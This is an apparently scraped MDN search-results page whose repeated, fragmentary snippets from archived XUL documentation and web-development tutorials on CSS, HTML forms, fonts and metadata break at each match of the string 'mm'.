mmy tree data displayed when the find files dialog is first displayed. these were added so that we could see them. let's take them out now and have them displayed when the find button is pressed. first, we need to make them initially invisible. the hidden attribute is used to control whether an element is visible or not. we'll change the progress meter so that its initially hidden. also, we'll add ...
...And 4 more matches
Focus and Selection - Archive of obsolete content
poor user interface design. you can also add event handlers dynamically using the dom function addeventlistener. you can use it for any element and event type. it takes three parameters, the event type, a function to execute when the event occurs and a boolean indicating whether to capture or not. ...
...cally using the dom function addeventlistener. you can use it for any element and event type. it takes three parameters, the event type, a function to execute when the event occurs and a boolean indicating whether to capture or not. getting the currently focused element the currently focused element is held by an object called a co
mmand dispatcher, of which there is only one for the window. the co
mmand dispatcher is responsible for keeping track of the focused element as the user uses the interface. the co
mmand dispatcher has other roles, which will be discussed in a later section on co
mmands. for now, we'll look at some of the focus related features of the co
mmand dispatcher. you can retrieve the co
mmand dispatcher from a window using the document's co
mmanddispatcher property. from there, y...
...lement with the dispatcher's focusedelement property. the example below shows this. example 3 : source view <window id="focus-example" title="focus example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init(){ addeventlistener("focus",setfocusedelement,true); } function setfocusedelement(){ var focused = document.co
mmanddispatcher.focusedelement; document.getelementbyid("focused").value = focused.tagname; } </script> <hbox> <label control="username" value="user name:"/> <textbox id="username"/> </hbox> <button label="hello"/> <checkbox label="remember this decision"/> <label id="focused" value="-no focus-"/> </window> in this example, a focus event handler is attached the window. we want to use a ca...
...And 4 more matches
XUL Structure - Archive of obsolete content
and templates are only available in xul documents. this distinction between documents is important. it is possible to use many xul features in html or xml documents since they aren't document type specific; however other features require the right kind of document. for instance, you can use the xul layout types in other documents since they don't rely on the xul document type to function. to su
mmarize the points made above: mozilla renders both html and xul using the same underlying engine and uses css to specify their presentation. xul may be loaded from a remote site, from the local file system, or installed as a package and accessed using a chrome url. this last option is what browser extensions do. chrome urls may be used to access installed packages and open them with enhanced p...
... to create content that can be accessed through a chrome url is by creating a package as described in the next few sections. this directory is called 'chrome' probably because it seemed like a convenient name to use in keeping with the chrome packages that are included with mozilla. to further the confusion, there are two other places where the word "chrome" might appear. these are the -chrome co
mmand line argument and the chrome modifier to the window.open() function. neither of these features grant extra privileges; instead they are used to open a new top-level window without the browser ui such as the menu and toolbar. you will co
mmonly use this feature in more complex xul applications since you wouldn't want the browser ui to exist around your dialog boxes. the files for a package are ...
...nd js files goes here -- bookmarks -- bookmarks files go here -- preferences -- preferences files go here -- . . . this is easily recognizable as a content package, as the top-level directory is called content. for skins, this directory will usually be called skin and for locales, it will usually be called locale. this naming scheme isn't necessary, but this is a co
mmon convention to make the parts of a package clearer. some packages may include a content section, a skin, and a locale. in this case, you will find a subdirectory for each type. for example, chatzilla is distributed in this way. the content/browser directory contains a number of files with .xul and .js extensions. the xul files are the ones with the .xul extension. the files with .js extensions ...
...And 4 more matches
The Implementation of the Application Object Model - Archive of obsolete content
ssue of code bloat. it is a given that nglayout will ship with its own non-native form element widgets. this has to be done in order to get features like transparency into those widgets. if xul is dropped from the picture, then dialogs would have to be described using native widgetry (unless you're willing to design an html dialog system, which still wouldn't cut it without extending html), and co
mmunicator would have to ship with both widget sets. the native widgets would also be an issue for something like a gfx-toolbar, which would need to contain the native widgets and still look consistent on all platforms. the native widgets also wouldn't be fully css responsive, which would mean they might look strange when placed in a dialog or on a toolbar with a rendered background. of course you c...
...one natural solution to try for implementing such a layer might be inheritance. however, in this xpcom world, where each type of pluggable content is off in its own dll, there's no clean way to inherit functionality from some base class implementation, when that implementation must necessarily reside in a different dll, without introducing a code dependency between all pluggable content and the co
mmon base class. this inability to provide a cleanly inherited system argues for a different approach, namely that all content node implementations be the same kind of object, and that those objects co
mmunicate with their pluggable content through this new streamlined interface we talked about earlier. we'll call this new interface a pluggable data source. just in case you still aren't convinced tha...
...lved our aggregation of data problem, but we have no efficient way of taking the data and representing it in different ways, since we'd have to go back to the data sources to re-aggregate everything into a new tree. "aha!" some of you might be saying. ...
...And 4 more matches
XUL Event Propagation - Archive of obsolete content
ement that is interested in the event -- any part of the interface, in other words, that needs to know about and respond to the user's click action on the button -- "handles" the event with an event handler, or chunk of code to be executed when the given event is "heard". the availability of event listeners is also somewhat pre-determined, though xul provide generalized event listeners (i.e., onco
mmand event listeners) for most of the elements in the widget hierarchy. event handlers are written by you, the developer of the interface. very often, the event raised by the element is heard by the element itself and handled right there before it bubbles up any higher. this is the case in the example code in the diagram, where the onclick event listener for the button element handles the click ev...
...e above the element that raised the event. this flexibility in the xul event model is the focus of this article. ...
...e focus of this article. ...
...And 4 more matches
menuseparator - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] used to create a separator between menu items. typically drawn as a thin line. more information is available in the xul tutorial. ...
... « xul reference home [ examples | attributes | properties | methods | related ] used to create a separator between menu items. typically drawn as a thin line. more information is available in the xul tutorial. ...
...if this value is set, it overrides an assigned key set in the key attribute. this attribute does not apply to menus directly on the menubar. accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. allowevents type: boolean if true, events a...
...And 4 more matches
splitter - Archive of obsolete content
lapsed when the grippy is clicked. more information is available in the xul tutorial. attributes collapse, resizeafter, resizebefore, state, substate style classes tree-splitter examples <!-- this bar has some styling associated with it. the vbox is used to hold the .png image that a user clicks on to resize the search bar.--> <splitter tooltiptext="resize the search box" onco
mmand="alert('the splitter was dragged')"> <vbox id="example_vbox" /> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked. if this attribute is not specified, the splitter will not cause a collapse. you should put a grippy element inside the splitter when it is used for collapsing. none no col...
...> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked. if this attribute is not specified, the splitter will not cause a collapse. you should put a grippy element inside the splitter when it is used for collapsing. none no collapsing occurs. ...
...ked. if this attribute is not specified, the splitter will not cause a collapse. you should put a grippy element inside the splitter when it is used for collapsing. none no collapsing occurs. before when the grippy is clicked, the element i
mmediately before the splitter in the same parent is collapsed so that its width or height is 0. after when the grippy is clicked, the element i
mmediately after the splitter in the same parent is collapsed so that its width or height is 0. both either the element i
mmediately before the splitter, or the element i
mmediately after the splitter can be collapsed, if the size of that element would fall below the minimum size due to the position of the splitter. resizeafter type: one of the values below this attribute indicates wh...
...And 4 more matches
MacFAQ - Archive of obsolete content
e: % ( cd dist ; gnutar cf - xul.framework | ( cd /library/frameworks ; gnutar xf - )) installing your application your application must be installed as a xulrunner app before you can open it. ...
...t ; gnutar cf - xul.framework | ( cd /library/frameworks ; gnutar xf - )) installing your application your application must be installed as a xulrunner app before you can open it. to do this, type: xulrunner-bin --install-app /path/to/appdir note the path to your application must end with the directory containing application.ini; you should not reference application.ini in this co
mmand. ...
...ing application.ini; you should not reference application.ini in this co
mmand. this co
mmand will place a copy of your application in /applications/(vendor)/(name) , where (vendor) is the vendor field in your application.ini and (name) is the name field. opening your application for ordinary work, you can just navigate via finder to /applications/(vendor)/(name).app and open the application. for co
mmand-line work, you would call on: /applications/(vendor)/(name).app/contents/macos/xulrunner ui notes menus to enable your application quit co
mmand to work with the application menu (the one to the right of the blue apple), you need to give your quit menu item an id of "menu_filequititem". to enable the mac "about" menu make sure that you use "aboutname" as the id for your menu item to enable th...
...And 4 more matches
Extentsions FAQ - Archive of obsolete content
how to customizes toolbar button to coexist in a toolbar palette and status bar? option #3 install status buttons 1.0 <https://addons.mozilla.org/firefox/1272/> "lets you put toolbar buttons at either end of the status-bar. ...
...ottom of the window. there are workarounds to this restriction by messing around with overflow or negative margins but i forgot offhand how to do that. how to create a dynamic drop down menu that may have submenus using javascript for an extension? these two links should give you a starting point: http://www..xulplanet.com/tutorials/...u/advmenu.html http://www.xulplanet.com/tutorials/x...do
mmodify.html request for a thunderbird extension that can automatically detect the default domain when composing e-mails via autodetect. <https://bugzilla.mozilla.org/show_bug.cgi?id=312818> "thunderbird requires domain in addresses and doesn't always add default" there is an extension that allows what you want attached to one of the co
mments in this bug. how to get the value of a text box wh...
...rbird? the person was missing a method call to getservice. are there any built in libraries that can be used to encrypt data? yes. you can use nsisecretdecoderring.encryptstring() and nsisecretdecoderring.decryptstring(). however, i'm not sure how/if that works if the user hasn't defined a master password in options->security->use a master password. you can aes-128 or aes-256 sy
mmetric encryption via aes.js (http://tinyurl.com/pp79t). no confirmation from the question asker on whether this answer was helpful in solving their problem. friday, october 06 - 13, 2006 (↑ top) any suggestions to remove tool tip appears on the menu it when it should not? what you described was a bug (https://bugzilla.mozilla.org/show_bug.cgi?id=147670). it looks like it has been fixed fo...
...And 4 more matches
What is RSS - Archive of obsolete content
this tutorial teaches rss 2.0, but makes an effort to point out issues with other versions of rss. ...
... this tutorial teaches rss 2.0, but makes an effort to point out issues with other versions of rss. ...
... this tutorial teaches rss 2.0, but makes an effort to point out issues with other versions of rss. ...
...And 4 more matches
Scratchpad - Archive of obsolete content
ng scratchpad with a page run by a local web server. it is also possible to use scratchpad over pages opened from a local file system, if permission policies allow that. but even with possible limitations present, the html code can be either manually entered or copied from the source and pasted into the "about:blank" page (a new empty tab) with the use page inspector's edit as html context menu co
mmand. usage opening scratchpad in its own window there are several different ways to open scratchpad in its own window: press shift + f4, or go to the web developer menu (which is a submenu in the tools menu on macos and linux), then select scratchpad click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "scratchpad". this will open up scratchp...
...ntly highlighted suggestion gets a popup with more information. ↑ and ↓ cycle through the suggestions and enter or tab select the highlighted choice. inline documentation to show the inline documentation popup, press ctrl + shift + space when the cursor is on an identifier. for example, if you type document.addeventlistener, then press ctrl + shift + space, you'll see a popup that shows a su
mmary of the function's syntax and a short description: the "[docs]" link takes you to the mdn documentation for the symbol. executing once you've written your code, select the code you want to run. if you don't select anything, all the code in the window will be run. then choose the way you want the code to run using the buttons along the top, using the execute menu, or using the context menu. t...
...he code just like the run option; however, after the code returns, an object inspector is opened to let you examine the returned value. for example, if you enter the code: window then choose inspect, the object inspector is shown that looks something like this: display the display option executes the selected code, then inserts the result directly into your scratchpad editor window as a co
mment, so you can use it as a repl. reload and run the reload and run option is only available in the execute menu. it first reloads the page, then executes the code when the page's "load" event fires. this is useful for running the code in a pristine environment. running scratchpad in the browser context you can run scratchpad in the context of the browser as a whole rather than a specific web ...
...And 4 more matches
LiveConnect Overview - Archive of obsolete content
on the java side, javascript objects are wrapped in an instance of the class netscape.javascript.jsobject and passed to java. ...
...on the java side, javascript objects are wrapped in an instance of the class netscape.javascript.jsobject and passed to java. ...
...on the java side, javascript objects are wrapped in an instance of the class netscape.javascript.jsobject and passed to java. ...
...And 4 more matches
Writing JavaScript for XHTML - Archive of obsolete content
est.html and once as test.xhtml. problem: nothing works after switching the mime type suddenly no inline script works anymore. even the plain old alert() method is gone. ...
...s test.xhtml. problem: nothing works after switching the mime type suddenly no inline script works anymore. even the plain old alert() method is gone. the code looks something like this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick this problem usually arises, when inline scripts are included in co
mments. ...
...orks anymore. even the plain old alert() method is gone. the code looks something like this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick this problem usually arises, when inline scripts are included in co
mments. this was co
mmon practice in html, to hide the scripts from browsers not capable of js. in the age of xml co
mments are what they were intended: co
mments. ...
...And 4 more matches
RDF in Mozilla FAQ - Archive of obsolete content
ropped. how do i create a datasource from an rdf/xml file? you can either create an rdf/xml datasource using the rdf service's getdatasource() method: // get the rdf service var rdf = components .classes["@mozilla.org/rdf/rdf-service;1"] .getservice(components.interfaces.nsirdfservice); // ...and from it, get the datasource. ...
...df service var rdf = components .classes["@mozilla.org/rdf/rdf-service;1"] .getservice(components.interfaces.nsirdfservice); // ...and from it, get the datasource. ...
...anager var ds = components .classes["@mozilla.org/rdf/datasource;1?name=xml-datasource"] .createinstance(components.interfaces.nsirdfdatasource); // the nsirdfremotedatasource interface has the interfaces // that we need to setup the datasource. ...
...And 4 more matches
Audio for Web games - Game development
moment of silence at the end of your audio sample. jumping to, playing, and then pausing that silence will mean we can now use javascript to play that file at arbitrary points. you can find out more about best practises with the autoplay policy here. note: playing part of your file at zero volume could also work if the browser allows you to change volume (see below). ...
...the reason often given is that the user should be in control of the volume at the os level and this shouldn't be overridden. buffering and preloading likely as an attempt to mitigate runaway mobile network data use, we also often find that buffering is disabled before playback has been initiated. ...
...hether a track is in a state to be playable. note: in many ways the concept of buffering is an outdated one. as long as byte-range requests are accepted (which is the default behavior), we should be able to jump to a specific point in the audio without having to download the preceding content. however, preloading is still useful — without it, there would always need to be some client-server co
mmunication required before playing can co
mmence. concurrent audio playback a requirement of many games is the need to play more than one piece of audio at the same time; for example, there might be background music playing along with sound effects for various things happening in the game. although the situation is soon going to get better with the adoption of the web audio api, the current most ...
...And 4 more matches
Gecko FAQ - Gecko Redirect 1
igator 1.0, was developed rapidly by a small team that was passionate about creating the next killer app, and they succeeded. now that the web has evolved, a new generation layout engine was needed upon which future products could be built. gecko enables a pioneering new class of dynamic content that is more interactive and offers greater presentation control to web developers, using open and reco
mmended internet standards instead of proprietary apis. you are encouraged to join this team by getting involved. how does mozilla use gecko? gecko lies at the heart of mozilla and firefox browsers, as well as others, powering all of the individual components. gecko technologies will also power the display of the mozilla.com portal site, speedily delivering more exciting content and services. geck...
...wser software. these developers can pick and choose the browser components they want from among those that gecko offers, and package these components alongside their own within their finished products. ...
...o is expected to support the following reco
mmended open internet standards fully except for the areas noted below and open bugs documented in bugzilla: html 4.0 - full support except for: elements: bdo, basefont attributes: shape attribute on the a element, abbr, axis, headers, scope-row, scope-col, scope-rowgroup, scope-colgroup, charoff, datasrc, datafld, dataformat, datapagesize, su
mmary, event, dir, align on table columns, label attribute of option, alternate text of area elements, longdesc various metadata attributes: cite, datetime, lang, hreflang bidirectional text layout, which is only used in hebrew and arabic (ibm has begun work to add bidi support in a future release) style sheets css 1 - full support, except for: the application of styles t...
...And 4 more matches
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
the term asynchronous refers to two or more objects or events not existing or happening at the same time (or multiple related things happening without waiting for the previous one to complete). in computing, the word "asynchronous" is used in two major contexts. ...
... the term asynchronous refers to two or more objects or events not existing or happening at the same time (or multiple related things happening without waiting for the previous one to complete). in computing, the word "asynchronous" is used in two major contexts. ...
...ultiple related things happening without waiting for the previous one to complete). in computing, the word "asynchronous" is used in two major contexts. networking and co
mmunications asynchronous co
mmunication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so i
mmediately upon receipt. additionally, messages may be sent without waiting for acknowledgement, with the understanding that if a problem occurs, the recipient will request corrections or otherwise handle the situation. ...
...And 4 more matches
Backgrounds and borders - Learn web development
positioning the background image the background-position property allows you to choose the position in which the background image appears on the box it is applied to. this uses a coordinate system in which the top-left-hand corner of the box is (0,0), and the box is positioned along the horizontal (x) and vertical (y) axes. note: the default background-position value is (0,0). the most co
mmon background-position values take two individual values — a horizontal value followed by a vertical value. you can use keywords such as top and right (look up the others on the background-position page): .box { background-image: url(star.png); background-repeat: no-repeat; background-position: top center; } and lengths, and percentages: .box { background-image: url(star.png); ba...
...y some different gradients in the example below. in the two boxes respectively, we have a linear gradient that is stretched over the whole box, and a radial gradient with a set size, which therefore repeats. ...
... each one with a co
mma. when you do this you may end up with background images overlapping each other. the backgrounds will layer with the last listed background image at the bottom of the stack, and each previous image stacking on top of the one that follows it in the code. note: gradients can be happily mixed with regular background images. the other background-* properties can also have co
mma-separated values in the same way as background-image: background-image: url(image1.png), url(image2.png), url(image3.png), url(image4.png); background-repeat: no-repeat, repeat-x, repeat; background-position: 10px 20px, top right; each value of the different properties will match up to the values in the same position in the other properties. above, for example, image1's background-repeat valu...
...And 4 more matches
Cascade and inheritance - Learn web development
overview: building blocks next the aim of this lesson is to develop your understanding of some of the most fundamental concepts of css — the cascade, specificity, and inheritance — which control how css is applied to html and how conflicts are resolved. while working through this lesson may seem less i
mmediately relevant and a little more academic than some other parts of the course, an understanding of these things will save you much pain later on! we encourage you to work through this section carefully, and check that you understand the concepts before moving on. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first ste...
...o shows how you can use the firefox devtools to inspect a page's cascade, specificity, and more: understanding inheritance we'll start with inheritance. in the example below we have a <ul>, with two levels of unordered lists nested inside it. we have given the outer <ul> a border, padding, and a font color. the color has applied to the direct children, but also the indirect children — the i
mmediate child <li>s, and those inside the first nested list. we have then added a class of special to the second nested list and applied a different color to it. this then inherits down through its children. things like widths (as mentioned above), margins, padding, and borders do not inherit. if a border were to be inherited by the children of our list, every single list and list item would ga...
...fferent color to it. this then inherits down through its children. things like widths (as mentioned above), margins, padding, and borders do not inherit. if a border were to be inherited by the children of our list, every single list and list item would gain a border — probably not an effect we would ever want! which properties are inherited by default and which aren't is largely down to co
mmon sense. controlling inheritance css provides four special universal property values for controlling inheritance. every css property accepts these values. inherit sets the property value applied to a selected element to be the same as that of its parent element. effectively, this "turns on inheritance". initial sets the property value applied to a selected element to the initial value of ...
...And 4 more matches
CSS values and units - Learn web development
previous overview: building blocks next every property used in css has a value or set of values that are allowed for that property, and taking a look at any property page on mdn will help you understand the values that are valid for any particular property. in this lesson we will take a look at some of the most co
mmon values and units in use. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the different types of values and units used in css properties. what is a css value? in css specifications and on the property pages here on mdn you will be able to spot values as ...
...gths used in css — relative and absolute. it's important to know the difference in order to understand how big things will become. absolute length units the following are all absolute length units — they are not relative to anything else and are generally considered to always be the same size. unit name equivalent to cm centimeters 1cm = 96px/2.54
mm millimeters 1
mm = 1/10th of 1cm q quarter-millimeters 1q = 1/40th of 1cm in inches 1in = 2.54cm = 96px pc picas 1pc = 1/6th of 1in pt points 1pt = 1/72th of 1in px pixels 1px = 1/96th of 1in most of these values are more useful when used for print, rather than screen output. for example we don't typically use ...
...r-millimeters 1q = 1/40th of 1cm in inches 1in = 2.54cm = 96px pc picas 1pc = 1/6th of 1in pt points 1pt = 1/72th of 1in px pixels 1px = 1/96th of 1in most of these values are more useful when used for print, rather than screen output. for example we don't typically use cm (centimeters) on screen. the only value that you will co
mmonly use is px (pixels). relative length units relative length units are relative to something else, perhaps the size of the parent element's font, or the size of the viewport. the benefit of using relative units is that with some careful planning you can make it so the size of text or other elements scale relative to everything else on the page. some of the most useful units for web development...
...And 4 more matches
Introduction to CSS layout - Learn web development
ellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> .box { float: left; width: 150px; height: 150px; margin-right: 30px; } note: floats are fully explained in our lesson on the float and clear properties. prior to techniques such as flexbox and grid layout floats were used as a method of creating column layouts. you may still come across these methods on the web...
...ellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies lectus sed lobortis finibus. vivamus eu...
...ellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> body { width: 500px; margin: 0 auto; } .positioned { background: rgba(255,84,104,.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; border-radius: 5px; } .positioned { position: fixed; top: 30px; left: 30px; } sticky positioning sticky positioning is the final position...
...And 4 more matches
Legacy layout methods - Learn web development
you imagine your layout as a set number of columns (e.g. 4, 6, or 12), and then fit your content columns inside these imaginary columns. in this article we'll explore how these older methods work, in order that you understand how they were used if you work on an older project. ...
...ellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> </div> <div> <h2>second column</h2> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies...
...ellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> </div> <div> <h2>second column</h2> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies...
...And 4 more matches
How CSS is structured - Learn web development
n idea of how css works. objective: to learn css's fundamental syntax structures in detail. applying css to html first, let's examine three methods of applying css to a document: with an external stylesheet, with an internal stylesheet, and with inline styles. external stylesheet an external stylesheet contains css in a separate file with a .css extension. this is the most co
mmon and useful method of bringing css to a document. you can link a single css file to multiple web pages, styling all of them with the same css stylesheet. in the getting started with css, we linked an external stylesheet to our web page. you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</...
...ementation of css for maintenance. one styling change might require multiple edits within in a single web page. second, inline css also mixes (css) presentational code with html and content, making everything more difficult to read and understand. separating code and content makes maintenance easier for all who work on the the website. there are a few circumstances where inline styles are more co
mmon. you might have to resort to using inline styles if your working environment is very restrictive. for example, perhaps your cms only allows you to edit the html body. you may also see a lot of inline styles in html email to achieve compatibility with as many email clients as possible. playing with the css in this article for the exercise that follows, create a folder on your computer. you can...
...ml elements: transform background-image, in particular gradient values color, in particular rgb/rgba/hsl/hsla values @rules css @rules (pronounced "at-rules") provide instruction for what css should perform or how it should behave. some @rules are simple with just a keyword and a value. for example, @import imports a stylesheet into another css stylesheet: @import 'styles2.css'; one co
mmon @rule that you are likely to encounter is @media, which is used to create media queries. media queries use conditional logic for applying css styling. in the example below, the stylesheet defines a default pink background for the <body> element. however, a media query follows that defines a blue background if the browser viewport is wider than 30em. body { background-color: pink; } @media ...
...And 4 more matches
Web fonts - Learn web development
perty. this takes one or more font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: helvetica, "trebuchet ms", verdana, sans-serif; } this system works well, but traditionally web developers' font choices were limited. there are only a handful of fonts that you can guarantee to be available across all co
mmon systems — the so-called web-safe fonts. you can use the font stack to specify preferable fonts, followed by web-safe alternatives, followed by the default system font, but this adds overhead in terms of testing to make sure that your designs look ok with each font, etc. web fonts but there is an alternative, which works very well, right back to ie version 6. web fonts are a css feature that...
... for each choice. note: under the "find fonts" section in the right-hand column, you can click on the different tags and classifications to filter the displayed choices. generating the required code now you'll need to generate the required code (and font formats). for each font, follow these steps: make sure you have satisfied any licensing requirement, if you are going to use this in a co
mmercial and/or web project. go to the fontsquirrel webfont generator. upload your two font files using the upload fonts button. check the checkbox labeled "yes, the fonts i'm uploading are legally eligible for web embedding." click download your kit. after the generator has finished processing, you should get a zip file to download — save it in the same directory as your html and css. impl...
...ike, as long as you use it consistently throughout your css. src: these lines specify the paths to the font files to be imported into your css (the url part), and the format of each font file (the format part). the latter part in each case is optional, but it is useful to declare it because it allows browsers to find a font they can use faster. multiple declarations can be listed, separated by co
mmas — the browser will search through them and use the first one it can find that it understands — it is therefore best to put newer, better formats like woff2 earlier on, and older, not so good formats like ttf later on. the one exception to this is the eot fonts — they are placed first to fix a couple of bugs in older versions of ie whereby it will try to use the first thing it finds, even ...
...And 4 more matches
Basic native form controls - Learn web development
next we will look at the functionality of the different form controls, or widgets, in detail — studying all the different options available to collect different types of data. in this particular article we will look at the original set of form controls, available in all browsers since the early days of the web. prerequisites: basic computer literacy, and a basic understanding of html. ...
...uisites: basic computer literacy, and a basic understanding of html. objective: to understand in detail the original set of native form widgets available in browsers for collecting data, and how to implement them using html. you've already met some form elements, including <form>, <fieldset>, <legend>, <textarea>, <label>, <button>, and <input>. this article covers: the co
mmon input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text. some of the attributes that are co
mmon to all form controls. note: the features discussed in this article are supported in all browsers, which is not the case for all form controls. we cover newer form controls added in html5 in the next two articles. if you want a more advanced reference, you shoul...
... are a very convenient way to let the user enter any kind of data, and we've already seen a few simple examples. note: html form text fields are simple plain text input controls. this means that you cannot use them to perform rich editing (bold, italic, etc.). all rich text editors you'll encounter are custom widgets created with html, css, and javascript. all basic text controls share some co
mmon behaviors: they can be marked as readonly (the user cannot modify the input value but it is still sent with the rest of the form data) or disabled (the input value can't be modified and is never sent with the rest of the form data). they can have a placeholder; this is text that appears inside the text input box that should be used to briefly describe the purpose of the box. they can be co...
...And 4 more matches
Sending form data - Learn web development
idation in the previous article, we're ready to submit! this article looks at what happens when a user submits a form — where does the data go, and how do we handle it when it gets there? we also look at some of the security concerns associated with sending form data. prerequisites: basic computer literacy, an understanding of html, and basic knowledge of http and server-side progra
mming. objective: to understand what happens when form data is submitted, including getting a basic idea of how data is processed on the server first we'll discuss what happens to the data when a form is submitted. client/server architecture at it's most basic, the web uses a client/server architecture that can be su
mmarized as follows. a client (usually a web browser) sends a r...
... the http protocol. the server answers the request using the same protocol. an html form on a web page is nothing more than a convenient user-friendly way to configure an http request to send data to a server. this enables the user to provide information to be delivered in the http request. note: to get a better idea of how client-server architectures work, read our server-side website progra
mming first steps module. on the client side: defining how to send the data the <form> element defines how the data will be sent. all of its attributes are designed to let you configure the request to be sent when a user hits a submit button. the two most important attributes are action and method. the action attribute the action attribute defines where the data gets sent. its value must be a v...
...defined by the action attribute, causing a new page load (or a refresh of the existing page, if the action points to the same page). how the data is sent depends on the method attribute. the method attribute the method attribute defines how data is sent. the http protocol provides several ways to perform a request; html form data can be transmitted via a number of different methods, the most co
mmon being the get method and the post method to understand the difference between those two methods, let's step back and examine how http works. each time you want to reach a resource on the web, the browser sends a request to a url. an http request consists of two parts: a header that contains a set of global metadata about the browser's capabilities, and a body that can contain information neces...
...And 4 more matches
Debugging HTML - Learn web development
ee how println!(hello, world!"); might logically be missing a double quote. however, error messages can quickly get more complicated and less easy to interpret as programs get bigger, and even simple cases can look a little intimidating to someone who doesn't know anything about rust. ...
...ble with writing and debugging any progra
mming language or code is familiarity with both the language and the tools. html and debugging html is not as complicated to understand as rust. html is not compiled into a different form before the browser parses it and shows the result (it is interpreted, not compiled). and html's element syntax is arguably a lot easier to understand than a "real progra
mming language" like rust, javascript, or python. the way that browsers parse html is a lot more permissive than how progra
mming languages are run, which is both a good and a bad thing. permissive code so what do we mean by permissive? well, generally when you do something wrong in code, there are two main types of error that you'll come across: syntax errors: these are spelling errors in your ...
...very beginning. active learning: studying permissive code it's time to study the permissive nature of html code. first, download our debug-example demo and save it locally. this demo is deliberately written with some built-in errors for us to explore (the html markup is said to be badly-formed, as opposed to well-formed). next, open it in a browser. ...
...And 4 more matches
What’s in the head? Metadata in HTML - Learn web development
adding metadata to a document — the <meta> element. of course, the other stuff we are talking about in this article could also be thought of as metadata too. there are a lot of different types of <meta> elements that can be included in your page's <head>, but we won't try to explain them all at this stage, as it would just get too confusing. instead, we'll explain a few things that you might co
mmonly see, just to give you an idea. specifying your document's character encoding in the example we saw above, this line was included: <meta charset="utf-8"> this element simply specifies the document's character encoding — the character set that the document is permitted to use. utf-8 is a universal character set that includes pretty much any character from any human language. this means th...
...make your site's search results better in the google search engine. note: many <meta> features just aren't used any more. for example, the keyword <meta> element (<meta name="keywords" content="fill, in, your, keywords, here">) — which is supposed to provide keywords for search engines to determine relevance of that page for different search terms — is ignored by search engines, because spa
mmers were just filling the keyword list with hundreds of keywords, biasing results. other types of metadata as you travel around the web, you'll find other types of metadata, too. a lot of the features you'll see on websites are proprietary creations, designed to provide certain sites (such as social networking sites) with specific pieces of information they can use. for example, open graph dat...
...ts own similar proprietary metadata called twitter cards, which has a similar effect when the site's url is displayed on twitter.com. for example: <meta name="twitter:title" content="mozilla developer network"> adding custom icons to your site to further enrich your site design, you can add references to custom icons in your metadata, and these will be displayed in certain contexts. the most co
mmonly used of these is the favicon (short for "favorites icon", referring to its use in the "favorites" or "bookmarks" lists in browsers). the humble favicon has been around for many years. it is the first icon of this type: a 16-pixel square icon used in multiple places. you may see (depending on the browser) favicons displayed in the browser tab containing each open page, and next to bookmarked ...
